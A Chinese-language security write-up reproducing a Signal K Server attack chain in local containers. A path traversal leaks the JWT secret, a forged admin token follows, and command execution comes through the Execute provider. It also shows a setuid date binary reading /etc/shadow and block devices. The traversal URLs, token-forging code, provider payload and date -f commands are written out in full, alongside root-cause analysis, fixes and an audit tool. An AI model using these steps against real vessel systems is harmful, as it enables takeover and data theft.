一个 ../ 读走了 JWT 密钥:Signal K 的认证链断在读文件这一步
复现环境:Ubuntu 24.04.4 LTS,Docker 29.1.3。signalk/signalk-server 起了三个实例,v2.33.0 绑 13000、v2.30.0 绑 13002、v2.37.0 绑 13001,配置卷各用各的。v2.36.0-core 和 v2.37.0-core 只拉镜像看文件,没起服务。端口全部绑 127.0.0.1,测试只在本机做。 写在前面 Signa…
复现环境:Ubuntu 24.04.4 LTS,Docker 29.1.3。signalk/signalk-server 起了三个实例,v2.33.0 绑 13000、v2.30.0 绑 13002、v2.37.0 绑 13001,配置卷各用各的。v2.36.0-core 和 v2.37.0-core 只拉镜像看文件,没起服务。端口全部绑 127.0.0.1,测试只在本机做。
写在前面
Signal K Server 是船上用的数据服务端。NMEA 2000 网关、AIS、海图、气象服务都把数据往它这里汇,手机上的航行 App、船上的显示屏再从它这里取。它对外有一套资源接口,航线、航点、笔记、海图区域这些对象都以 JSON 文件的形式存在配置目录里。2.33.0 版本的读接口把路径参数原样拼进文件路径,拼够四层 ..%2F 就能爬回配置根,把 security.json 读出来。
这个文件里存着 JWT 的签名密钥。后面三步都不需要什么技巧:读文件是普通 GET,签名用标准库算 HS256 就够,执行命令靠官方自带的 Execute provider。整个过程没有内存破坏,也没有竞态窗口。
攻击者 --GET 资源接口--> 资源目录 --四层 ..%2F--> <config>/security.json
| secretKey
v
伪造 admin JWT(HS256)
|
v
POST /skServer/providers (Execute)
| spawn('sh','-c',cmd)
v
容器内以 node 身份执行命令管理员 token 能创建的 provider 里,有一种会直接 spawn('sh', ['-c', command])。每一步都在做它本来该做的事,只是边界没设好。
公告是 2026-10-18 发的,GHSA-4xm8-rg9h-jhq2,对应 CVE-2026-123807,CVSS 9.8,修的是 @signalk/resources-provider 1.5.3 和服务端 2.34.0。版本和时间是发文前现查的,GitHub Advisory 原始条目、npm 包发布时间、NVD 各对了一遍。
中文社区里几乎找不到 Signal K 的安全分析,船用电子这块常年没人看,部署量又不算小。它有 npm 包、单容器、不依赖数据库,这台 4 核 3.6G 的服务器能同时跑三个版本做对照,只有单版本的结论很容易被版本差异打脸。公告的影响面写得干脆:所有当前发布的服务端版本、所有已发布的插件版本都中招,我在 2.30.0 上验过一遍,不是只在新版本里才有。
链之外还有一条独立的问题:基础镜像把 /usr/bin/date 设成了 setuid root,公告说 2.37.0 修了,Dockerfile 也确实改了,但我 11-12 拉到的镜像里这一位还在。修在源码,base 层没有重建。
下面从搭环境开始,一路走到命令执行,最后回到镜像层和版本归属。
一、把服务跑起来
镜像和版本
官方镜像 1.84G,拉下来直接起。
docker run -d --name sk233 -p 127.0.0.1:13000:3000 \
-v /home/ubuntu/signalk/config:/home/node/.signalk \
signalk/signalk-server:v2.33.0镜像的 USER 是 node,uid 1000,工作目录 /home/node/.signalk。配置卷挂上去以后,它就是唯一会被写的地方。
端口我只绑了 127.0.0.1,所有测试都在服务器本机做。
后面又跑了 2.37.0 做对照,端口 13001,配置卷各用各的。验更早版本的时候又起了一个 2.30.0,端口 13002。三个容器互不干扰,改坏一个直接删掉重来,不用重装。2.36.0 只拉了镜像看文件,没有起服务。
第一次启动做了什么
日志只有两行有用:
Settings file does not exist, using empty settings
signalk-server running at 0.0.0.0:3000第一次启动没有 security.json。安全没启用的时候,所有请求都按管理员处理,资源接口谁都能读。这部分不是漏洞,是设计上的默认:装完先用,安全后开。
配置目录里会生成 settings.json、package.json、plugin-config-data 和几个状态文件。security.json 要等启用安全才出现。
挂卷的时候要注意属主。镜像里跑的是 uid 1000,宿主机目录如果建在 root 名下,容器写不进去,日志会一直报 EACCES。我的做法是先 mkdir,再 chown 1000 给这个目录。
allow_readonly 不是一个开关
启用安全要调 POST /skServer/enableSecurity,body 里带管理员的用户名和密码。接口本身还认一个 allow_readonly 字段,意思是允许匿名只读。
我按文档传了 "allow_readonly": true,服务返回 Security enabled。然后看落盘的 security.json:
"allow_readonly": false传了没生效。源码里这段是先建好安全策略,再把 allow_readonly 赋值到另一个对象上,存盘的是策略自己的配置。要让匿名真的可读,得手改 security.json 再重启。
这个细节不影响漏洞成立,但影响复现。后面我把两条路都测了。
2.30.0 上我又走了一遍同样的流程:传 true,落盘还是 false,手改 JSON 再重启才生效。2.33.0 和 2.37.0 上也是这个结果,说明它不是某一个版本的问题。
默认配置下的另一种走法
allow_readonly 保持默认的 false,匿名访问资源接口直接 401。但只要有一个只读账号,同一条 URL 就是 200。
只读账号的创建走 POST /skServer/security/users/<id>,body 里写 type 是 readonly。拿到账号以后调 POST /login:
curl -s -X POST http://127.0.0.1:13000/login \
-H "Content-Type: application/json" \
-d '{"username":"ro","password":"ReadOnly123"}'返回里有一个 token 字段,后面所有请求都放在 Authorization: JWT <token> 这个头里。注意前缀是 JWT,不是 Bearer。
建账号的路径是 /skServer/security/users/<id>,不是 /skServer/users。我一开始照直觉写,拿到的是 Cannot POST,翻了一遍路由才找对。
船主给朋友开个只读账号看数据,是很常见的用法。所以这条链在默认配置下也不是完全用不了,只是前置条件从"无"变成"有个只读账号"。
这个开关的语义就是匿名读 HTTP 接口。把仪表盘挂到公共页面、让船员手机直接看数据,都会开它。
二、遍历是怎么成立的
路由把参数原样递下去
api/resources/index.js 里的 GET 处理器,大致是这么写的:
server.get(`${RESOURCES_API_PATH}/:resourceType/:resourceId`, async (req, res, next) => {
...
const retVal = await this.resProvider[req.params.resourceType]
?.getResource(req.params.resourceId);resourceId 从 URL 里取出来,没有格式检查,直接交给 provider。
这一层还做了一件事:先看这个 resourceType 有没有注册 provider。没注册就 next(),交给后面的 404。能不能走到 provider,取决于对面装了哪些资源类型,不是取决于路径长什么样。
默认安装就把五个类型注册好了,不用额外装插件,路径一直在那里。
path.join 不会拦住 ..
provider 那一层的代码更短:
async getResource(type, itemUuid, property) {
let result = JSON.parse(await readFile(path.join(this.resources[type].path, itemUuid), 'utf8'));path.join 会做一次归一化,把 .. 折叠掉。它折叠的结果是往上一级走,而不是拒绝。
所以 path.join('/a/b/notes', '../../security.json') 得到 /a/security.json。函数照着语义把路径拼了出来,问题不在这儿。
拼接本身没错,缺的是拼完之后的那一步:确认结果还在 this.resources[type].path 底下。
path.resolve 和 path.join 的区别也在这里。resolve 从一个基准点算出绝对路径,join 只是拼字符串再归一化。判断越界要先 resolve 出绝对路径再比前缀,光有 join 拼出来的那串不够。
同一个仓库里已经有人写对了
同一份代码库里,applicationData 那套接口是另一种写法:
const filePath = path.normalize(path.join(dir, `${version}.json`));
const configPath = path.resolve(app.config.configPath);
const resolvedPath = path.resolve(filePath);
if (!resolvedPath.startsWith(configPath)) {
throw new Error('Invalid path: outside configuration directory');
}归一化、取绝对路径、比对前缀。三步都在。而且 version 参数还额外过了一次 semver.coerce,路径符号根本进不去。
公告标题把 resources 和 applicationData 两个接口并列写,实际能打的是前者。applicationData 这条路我用只读 token 走过:/signalk/v1/applicationData/global/..%2F..%2F..%2F..%2Fsecurity.json/1.0.0 回 400 invalid application id,把遍历挪到版本段回 400 invalid application version,把斜杠塞在版本号后面,semver.coerce 只截出 1.0.0,返回的是一个空对象。三条路都不通。
资源接口没有这三步。同一个仓库里存在正确写法,只是没被搬过去。
那段前缀比对其实也不算完美。/home/node/.signalk 和 /home/node/.signalk-evil 前缀相同,用 startsWith 判断会把后者放过去。它没被打穿,是因为 version 参数先过了 semver 校验,路径符号根本到不了拼路径那一步。真正拦住人的是那个 semver 校验,前缀比对只算第二道。
四层目录的由来
资源文件放在 <config>/plugin-config-data/resources-provider/resources/<type>/ 下面,是插件自己的数据目录。
容器里 config 是挂进去的卷,路径 /home/node/.signalk。从 notes/ 往上数:resources、resources-provider、plugin-config-data,第四步正好退到卷根。
深度矩阵里三层不够、五层过头,原因就在这。
三、五种资源类型,一个都没挡住
逐类型的命中
默认启用 provider 的类型有五个:notes、routes、waypoints、regions、charts。匿名请求(allow_readonly=true)逐个打:
notes 200 secretKey=yes
routes 200 secretKey=yes
waypoints 200 secretKey=yes
regions 200 secretKey=yes
charts 200 secretKey=yes五个都能读到。区别只在返回的 JSON 里除了密钥还带着什么字段,secretKey 都在。
charts 的 id 不是 UUID,写接口的校验里能看出来,它单独走 chartId 那个函数。
我把这五个都记下来,是因为写工具的时候要用它们做枚举。少写一个,遇到只开了 charts 的部署就漏判。
同样的五条,换成只读账号的 token 也是 200。我抽了 notes、routes、charts 三个验过,返回的 secretKey 一样。allow_readonly 关不关,只决定匿名能不能进来,进来之后看到的东西没区别。
widgets 和 course 为什么是 404
我试了这两个,都是 404。一开始以为是路由拦了,看源码才发现这两个类型在默认配置里没有注册 provider。
没注册 provider 的路径请求会走到 next(),最后落到框架的 404。所以它们不是被防护挡住,是压根没有这条路。
这条对写工具有影响:枚举出来的 404 不能算"修好了",只能算"这个类型不存在"。
深度矩阵说明的事
对 notes 做 1 到 5 层的枚举:
depth=1 404 depth=2 404 depth=3 404 depth=4 200 depth=5 404四层命中,五层失败。多一层就跑到 config 的上级去,那里没有 security.json,也没有别的可读 JSON。
矩阵把目录结构和能不能打绑在了一起,看输出就知道对面的目录是怎么摆的。
读的范围也不止 security.json。把层数调够,容器里任何可读的 JSON 都能拿出来:
..%2F..%2F..%2F..%2F..%2Fsignalk%2Fpackage.json -> 200
..%2F..%2F..%2F..%2F..%2Fsignalk%2Fnode_modules%2Fsignalk-server%2Fpackage.json -> 200非 JSON 文件读不出来。provider 里是 JSON.parse,解析失败会被当成资源不存在,返回 404。我拿 /etc/passwd 试,回的是 Resource not found。
所以准确说法是"任意可读的 JSON 文件",不是"任意文件"。
四、从密钥到管理员
security.json 里存了什么
读出来的内容是这样:
{
"allow_readonly": false,
"expiration": "NEVER",
"secretKey": "<512 个十六进制字符>",
"users": [ { "username": "admin", "type": "admin", "password": "$2b$10$..." } ]
}密钥是明文,用户的密码是 bcrypt。bcrypt 那段用不上,因为签 token 不需要密码。
"expiration": "NEVER" 是另一个好玩的字段,它说明这枚密钥签发出来的 token 默认不过期。改密码能换掉密码,但换不掉密钥,已经签出去的 token 照样有效。
这几个字段连着看,security.json 既是配置又是密钥库,两件事混在一个文件里。读配置的接口把密钥一起带出来了。
HS256 只认密钥
服务端校验 token 的逻辑是标准的 HMAC-SHA256。header 写 {"alg":"HS256","typ":"JWT"},payload 里放 {"id":"admin"},用泄露的密钥算签名,拼成三段。整个过程用标准库就够:
import base64, hashlib, hmac, json, time
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
claim = b64(json.dumps({"id": "admin", "iat": int(time.time())}).encode())
sig = hmac.new(secret.encode(), (head + "." + claim).encode(), hashlib.sha256).digest()
token = head + "." + claim + "." + b64(sig)secret 就是前面读出来的 secretKey。拼完带在 Authorization: JWT <token> 头里,前缀是 JWT 不是 Bearer,写错了会被当成没有凭证。
除此之外没有别的校验,也不看签发时间窗口、设备指纹和登录会话。密钥就是唯一凭据。
我试过把 payload 里的 id 改成不存在的用户,loginStatus 返回 notLoggedIn。服务端会去用户表里查这个 id,查不到就不认。所以伪造时 id 要填真账号名,admin 最稳。
exp 字段写了就校验。我填一个小时前的时间,同样被拒。不写 exp 就完全不校验,这点和 security.json 里那个 "expiration": "NEVER" 对得上。
JWT 三段用点隔开,服务端重算一遍签名,对得上就认 payload 里的 id。不需要私钥,也不用跟签发方通信。
loginStatus 自己承认了
拿伪造的 token 请求 GET /skServer/loginStatus:
{"status":"loggedIn","readOnlyAccess":false,"authenticationRequired":true,
"userLevel":"admin","username":"admin"}userLevel 是 admin。这一步能过,后面的所有管理接口都能过。
这个接口本来是给前端判断登录状态用的,不需要额外权限,正好拿来当验证点。返回的 status、userLevel、authenticationRequired 三个字段,一趟就能把对面的状态摸清。
五、管理员能做的事
Execute provider 的来路
Signal K 的 provider 是数据源,一种是订阅外部 WebSocket,一种是执行命令。
后者的实现很短,核心就是拿到 options 里的 command,交给 shell:
spawn('sh', ['-c', command])创建 provider 的接口是 POST /skServer/providers,需要管理员。
type 决定数据写入方式,dataType 决定单位换算,command 就是交给 shell 的那串。命令在 provider 创建的时候执行一次,之后由 provider 自己维持。
命令落地的样子
带伪造的 token 发一条,$TOK 是前面拼出来的那串:
curl -s -X POST http://127.0.0.1:13000/skServer/providers \
-H "Authorization: JWT $TOK" \
-H "Content-Type: application/json" \
-d '{"id":"poc-rce","enabled":true,"logging":false,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK",
"command":"id > /tmp/sk-pwned; hostname >> /tmp/sk-pwned"}}'返回 Connection added。两秒后进容器看这个文件:
docker exec sk233 cat /tmp/sk-pwneduid=1000(node) gid=1000(node) groups=1000(node),20(dialout),989(spi),990(i2c),991(docker)
0134080e6f4e命令是以 node 身份跑的。docker 组看着吓人,我查了容器里并没有挂 /var/run/docker.sock,所以这一步拿不到宿主机 root。
重启之后还在
provider 被写进了 settings.json。我 grep 到 poc-rce,重启容器,条目还在。
再验一次它会不会重新跑。命令换成 date +%s >> /tmp/sk-persist.log,创建后文件一行,重启容器后两行:
1
2
1794227384
1794227405前两行是 wc -l 的输出,后两行是两次执行的时间戳。重启一次执行一次,不需要外部触发。
这条链不是一次性的命令执行,落下来就是持久的。删掉那个 provider 才算清理干净。
管理员 token 能碰的远不止 provider。我又试了三个接口:加用户返回 User added,列插件返回 200,读设置返回 200。provider 只是最短的一条路,不是唯一的路。
六、公告里有一处我没能复现
PUT 全返回 400
官方公告说 resources 接口的 PUT 和 DELETE 也一样。我按同样的路径拼法试了写:
notes 400 Invalid resource id provided (../../../../../tmp/sk-w-notes)
routes 400 Invalid resource id provided (...)
waypoints 400 Invalid resource id provided (...)
regions 400 Invalid resource id provided (...)
charts 400 Invalid resource id provided (...)五个类型全部被拦。DELETE 更干脆,直接 Cannot DELETE,2.33.0 里这条路由根本没注册。
写接口多了一步
回源码看 PUT 处理器,在调 provider 之前有一层:
if (isSignalKResourceType(req.params.resourceType)) {
let isValidId;
if (req.params.resourceType === 'charts') {
isValidId = validate.chartId(req.params.resourceId);
} else {
isValidId = validate.uuid(req.params.resourceId);
}
if (!isValidId) {
res.status(400).json({ state: 'FAILED', message: `Invalid resource id provided (...)` });
return;
}写要求 UUID 或 chartId 格式。../../ 过不了。读没有这一步。
charts 单独用一个校验函数,是因为它的 id 不是 UUID,是另一套格式。两个校验函数都要求"整串匹配",所以带斜杠的输入一律不通过。
对定性的影响
公告把读写放在一起说,实际能打的是读。这不影响它 9.8 的评分,因为读出来的东西是签名密钥。
但它影响复现的人。照着公告抄请求,写那几条会全部 400,很容易以为自己环境不对,或者以为已经被修了。
做复现的人需要知道哪一步能走通、哪一步走不通。
发现它的过程也简单。给工具加 PUT 检测的时候,我按公告的写法拼路径,结果五种类型全返回 400,一条都没成功。回头读源码才发现写接口在调 provider 之前还有一层 id 校验。
读和写走的不是同一条校验路径,公告把两边并排写,读起来像是一回事。
七、镜像里那个 setuid 的 date
公告说 2.37.0 修了
2026-11-07 出的 GHSA-2v85-4p6q-957v,CVSS 5.5。原因是基础镜像的构建脚本里有这么一段:
usermod -a -G dialout,i2c,spi,docker node \
&& chmod u+s /usr/bin/datedate 被设成 setuid root。公告写的受影响范围是 <=2.36.0,修复版本 2.37.0。
5.5 这个分是按攻击者需要插件身份算的。插件从哪来,是第三方 npm 包,不是外部 HTTP 请求,所以分数不高,覆盖面却不小。
加这一行不是随手写的,是为了让 @signalk/set-system-time 这个插件能在容器里改系统时间,不用 sudo。
公告说 2.37.0 修了,我把两个镜像都拉下来看:
v2.36.0-core 创建于 2026-11-03T19:07Z /usr/bin/date -rwsr-xr-x root root
v2.37.0-core 创建于 2026-11-07T06:47Z /usr/bin/date -rwsr-xr-x root rootrws 里的 s 就是 setuid 位。2.37.0-core 是 11-07 当天构建的,里面 @signalk/resources-provider 已经是 1.6.0,说明应用层是新的,不是旧镜像换了个名字。问题出在更底下那一层,后面会说到。
date -f 把 /etc/shadow 读了出来
以 node 身份在 2.37.0-core 里执行:
$ head -1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
$ date -f /etc/shadow 2>&1 | head -3
date: invalid date 'root:*:20750:0:99999:7:::'
date: invalid date 'daemon:*:20750:0:99999:7:::'
date: invalid date 'bin:*:20750:0:99999:7:::'date -f 会按自己的有效 uid 打开文件,把每一行当日期解析,解析失败就把整行写进错误信息。setuid 让它以 root 打开,于是每一行都这么吐出来。
uid 1000 本来读不到的文件,一行一行地出来了。
看权限位更直观:/etc/shadow 是 640,属主 root,属组 shadow,node 两个都不沾。正常情况下连打开都不行。
为什么这条比版本号更要紧
Signal K 的插件生态是 npm。App Store 里装的插件都跑在同一个 node 用户下,跟服务端一个身份。
只要镜像里这个 setuid 位还在,任何一个第三方插件不用做什么,直接就能读容器里 root 才能读的文件。插件市场里装插件的人和写插件的人不是同一批,这个边界本来就该收紧。
插件的安装过程就是执行 npm 包里的代码,点一下安装,等于把那段代码放进了容器。在没有 setuid 的情况下,这段代码最多碰到 node 能碰的东西;有了 setuid,它伸手就能摸到 root 的文件。差的就是这一位。
船上接串口、CAN、I2C 的部署,容器一般都带 privileged: true 和 -v /dev:/dev。我按这个形态起了一个,还是 2.37.0-core,还是 node 身份:
$ ls -l /dev/vda2
brw-rw---- 1 root disk 253, 2 Oct 5 00:52 /dev/vda2
$ head -c 16 /dev/vda2
head: cannot open '/dev/vda2' for reading: Permission denied
$ date -f /dev/vda2 2>&1 | head -2
Fri Nov 13 00:00:00 UTC 2026
date: invalid date '\302\206'head 打不开的块设备,date 打开了。第一行被当成日期解析出来,后面是分区里的二进制数据,解析失败就原样往回吐,\302\206 这两个字节就是分区里的内容,换一次跑可能不一样。解析出来的是运行当天的零点,换一天跑这个日期会跟着变,我 11-12 跑是 Thu Nov 12,11-13 截图这天是 Fri Nov 13。
一个插件在厂商自己推荐的部署形态下,能顺着宿主机的根分区一页一页读下去。
镜像里还有十个 setuid,为什么只盯 date
find / -xdev -perm -4000 在 v2.37.0-core 里数出 11 个:
/usr/bin/chfn /usr/bin/chsh /usr/bin/date /usr/bin/gpasswd
/usr/bin/mount /usr/bin/newgrp /usr/bin/passwd /usr/bin/su
/usr/bin/sudo /usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper拿去和干净的 ubuntu:24.04 对比,三个来源能分开。基础镜像里是 8 个:chfn、chsh、gpasswd、mount、newgrp、passwd、su、umount。sudo 和 dbus-daemon-launch-helper 是装包时带进来的。date 在基础镜像里不在这个名单里,它是项目在 Dockerfile 里 chmod u+s 加的那一个。
另外十个的提权范围写在各自功能里:passwd 只能改密码,mount 只按 fstab 挂载,输出里不会带上文件内容。我只实测了最像入口的 sudo,sudo -n id 回 a password is required,/etc/sudoers.d/ 里只有一个 README。
date 的特别之处在参数上。setuid 给它 root 的读权限,-f 的语义是按行读文件当日期解析,两个凑在一起,任何 root 只读的文件都能一行一行吐出来。
修法在源码里已经做了。v2.37.0 这个 tag 的 docker/Dockerfile_base_24.04 里,chmod u+s 那一行被换成了 sudoers 白名单,只允许 sudo -n date 带固定格式的参数,不再给整个二进制提权。
问题出在这条修复没进发布镜像。
主 Dockerfile 里写的是 FROM signalk-server-base:latest-24.04-22.x,一个浮动的 tag。base 镜像由单独的 workflow 构建,触发条件写的是每周一一次定时任务。2.37.0 的提交时间是 2026-11-07T06:31Z,镜像构建 06:47Z,tag 之后十几分钟,说明镜像确实是从这个 tag 构建的,不是拿了个旧镜像换名字。
但 docker history 三个镜像摆在一起看,底下一模一样:
v2.36.0-core 2026-11-02T19:57:46Z 521MB && chmod u+s /usr/bin/date # buildkit
v2.37.0-core 2026-11-02T19:57:46Z 521MB && chmod u+s /usr/bin/date # buildkit
v2.37.0 2026-11-02T19:57:46Z 521MB && chmod u+s /usr/bin/date # buildkit同一层,同一个时间戳。这一层的时间是 11-02,比两个镜像的创建时间(11-03、11-07)都早,说明 2.37.0 的应用层是 11-07 新建的,底下的 base 层还是 11-02 那一版。Dockerfile 里的行删了,base 没重建,新镜像贴上去还是旧的。
截至 2026-11-12 发稿前,我又把 v2.37.0-core 和完整版各拉了一次,digest 都没变,这一位都还在。公告写着 2.37.0 修了,Dockerfile 也确实改了,发出来的镜像没变。
八、版本归属要落到包上
修的是插件
按发行包拆开对比比看公告准。真正改代码的是 @signalk/resources-provider:
1.5.2 2026-08-10
1.5.3 2026-10-18
1.6.0 2026-11-071.5.3 的发布时间和公告日期是同一天。
包里的目录结构也变了,1.5.2 是 dist/lib/filestorage.js,1.5.3 是 dist/filestorage.js。看起来是同一次重构把校验补上了。
我把 1.0.0 到 1.5.3 一共九个版本的包全下下来,逐个加载 FileStore 跑了 getResource:../../security.json 在 1.0.0 到 1.5.2 上全部读到内容,1.5.3 抛 Invalid resource id。九个版本的行为和代码对得上。
1.5.2 和 1.5.3 的差别
1.5.3 里多了一个方法:
resourceFile(type, id) {
const dir = path.resolve(this.resources[type].path);
const file = path.resolve(dir, id);
if (path.dirname(file) !== dir) {
throw new Error(`Invalid resource id ${type} ${id}`);
}
return file;
}getResource 改成先过这个方法。path.dirname(file) !== dir 的意思是:资源文件必须直接躺在类型目录里,往下走一层都不行。
这比"比对前缀"更严。前缀比对挡不住 config-evil 这种兄弟目录,dirname 比对挡得住。
锁文件没动的部署
signalk-server 各版本依赖的插件版本:
2.33.0 -> ^1.5.2
2.34.0 -> ^1.5.3
2.37.0 -> ^1.6.0服务端只是改了依赖下限。^1.5.2 在 npm 语义下允许 1.x 的任何版本,2026-09 那会儿是 1.5.2,现在装会拿到 1.6.0。同一行依赖,装的月份不同,落下来的东西就不同。
npm install 会按这个范围去解析,npm ci 只认锁文件里的固定版本。这也是为什么版本号本身说明不了安全性。
但我测的这个 2.33.0 镜像里,插件是 1.5.2。镜像构建时把依赖锁死了,构建之后就再也不会变。
这个镜像和插件的日期也能对上:2.33.0 镜像构建于 2026-09-21,1.5.3 发布于 2026-10-18。镜像比修复早了一个月,它里面不可能有修复。
所以能不能打,取决于构建时间和锁文件,不取决于版本号。服务端号升到 2.34 以上,插件也可能还停在 1.5.2;反过来,旧号也可能因为重新安装拿到了新插件。
升级的时候要单独确认 node_modules/@signalk/resources-provider/package.json 里的 version,不能只看服务端版本号。
区间是服务端 2.0.0 到 2.33.x 配插件 1.0.0 到 1.5.2,这个组合能打。服务端 2.34.0 起把依赖下限提到了 1.5.3,插件 1.5.3 起才有那个 dirname 比对。我验的 2.30.0 和 2.33.0 都在区间里,2.37.0 不在。
九、写了个小工具
判定逻辑
工具做的事不多:拿版本号、看 loginStatus、按类型和深度枚举资源接口,最后判断返回里有没有 secretKey。
有就是能打,没有就是修好了,被 401 挡住就是判不了。三种情况分开记,别混成一句。
枚举那层就是一个两层循环,命中就跳出去,一个类型只报最浅的深度:
for res_type in TYPES:
for depth in range(1, MAX_DEPTH + 1):
path = "/signalk/v2/api/resources/%s/%ssecurity.json" % (res_type, "..%2F" * depth)
st, raw = http(base, path, token)
doc = json_or_none(raw)
if st == 200 and isinstance(doc, dict) and "secretKey" in doc:
hits.append((res_type, depth, st, doc))
break
if st in (401, 403):
return hits, "denied"判断条件写的是 secretKey 在不在返回体里,不是状态码。401 会提前退出整个枚举,因为换个类型也一样被拒。
./signalk-audit.py -u http://target:3000 --token <只读 JWT>版本号从 GET /signalk 取,这个接口不需要认证。--exploit 才会往下走伪造和 provider 那两步,默认不碰。
token 是可选的。不传就按匿名打,能打穿说明 allow_readonly 开着;被 401 挡住就换个只读 token 再跑,这是默认配置下的常态。
深度枚举到 6 层不是为了扫更远,是为了确认边界。四层命中、五层失败,这个拐点本身就是证据;只试四层的话,分不清是打穿了还是刚好撞上。
三个版本上的输出
2.30.0,匿名(allow_readonly 手改成 true 之后):
[*] 目标 http://127.0.0.1:13002 版本 2.30.0 (HTTP 200)
[*] loginStatus: HTTP 200 authenticationRequired=True readOnlyAccess=True userLevel=None
[+] notes 深度 4 命中,secretKey 长度 512
[+] routes 深度 4 命中,secretKey 长度 512
[+] waypoints 深度 4 命中,secretKey 长度 512
[+] regions 深度 4 命中,secretKey 长度 512
[+] charts 深度 4 命中,secretKey 长度 5122.33.0,带只读账号的 token:
[*] 目标 http://127.0.0.1:13000 版本 2.33.0 (HTTP 200)
[*] loginStatus: HTTP 200 authenticationRequired=True readOnlyAccess=False userLevel=readonly
[+] notes 深度 4 命中,secretKey 长度 512
[+] routes 深度 4 命中,secretKey 长度 512
[+] waypoints 深度 4 命中,secretKey 长度 512
[+] regions 深度 4 命中,secretKey 长度 512
[+] charts 深度 4 命中,secretKey 长度 5122.37.0,匿名:
[ok] 五种资源类型、6 层深度都没逃出目录。版本 2.37.0 大概率已修。三次运行的退出码跟着判定走,能直接接进脚本里。
它不做什么
默认只发 GET,不写文件也不删文件,爆破不做。
也不做版本猜测。判断只看这次请求的返回,不根据版本号推断能不能打,因为版本号和插件版本对不上是常态。
工具的判断依据是响应里有没有密钥字段,不是状态码。状态码会因为鉴权、路由、provider 缺失而变,200 不代表打穿,401 也不代表修好。这一点是我写第一版时踩到的,最初只看 200,结果 widgets 的 404 被误判成安全。
判定结果有三种:vulnerable、fixed、indeterminate。前两种退出码分别是 0 和 1,第三种也是 1,但输出里会写清"被鉴权挡住,判不了"。接进 CI 的时候,只有 0 需要报警,1 要人看一眼。
代码在 github.com/qianlijaingshan/signalk-audit。审计脚本、PoC 和对比镜像层的那个脚本放在一起,README 里有退出码和判定口径。
十、该怎么修
读写用同一套校验
资源 id 按 UUID 校验,写接口已经有了,读接口照抄一遍就行。要么在 provider 里统一做 dirname 比对,让所有调用方都过这一层,以后再加接口也不会漏。
镜像得重建,光改 Dockerfile 不够
setuid 那位要从基础镜像里删掉,然后重新构建所有变体。Dockerfile 改完不等于镜像就好了,base 得重建一次,不然装插件的人拿到的还是同一个东西。2.37.0 就是现成的例子。
自查两条命令
一条看 setuid,一条看插件版本:
docker exec <容器名> ls -l /usr/bin/date
docker exec <容器名> cat /home/node/signalk/node_modules/@signalk/resources-provider/package.json | head -3第一条输出里带 s 就是没修干净,第二条的 version 在 1.5.2 及以下,这条路就还在。2.30.0 及更早的镜像里,这个包嵌在 signalk-server/node_modules 下面,路径要往下多一层。
所有结论都来自容器。我没碰过真实的船载设备,NMEA 2000 网关、串口这些外设不在验证范围里。